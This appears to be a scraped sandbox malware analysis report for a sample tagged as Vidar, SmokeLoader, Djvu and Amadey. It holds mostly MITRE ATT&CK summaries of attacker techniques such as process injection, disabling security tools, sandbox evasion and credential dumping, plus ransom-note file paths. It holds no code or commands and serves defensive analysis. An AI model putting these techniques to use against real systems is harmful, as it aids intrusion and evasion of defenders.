Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Threatname: SmokeLoader

Threatname: Djvu

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Bitcoin Miner

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

(copy)

C:\$WinREAgent\Scratch\_readme.txt

C:\$WinREAgent\_readme.txt

Windows Analysis Report
file.exe

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary.
Tactics:	Defense Evasion
Data Sources:	Loaded DLLs, Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre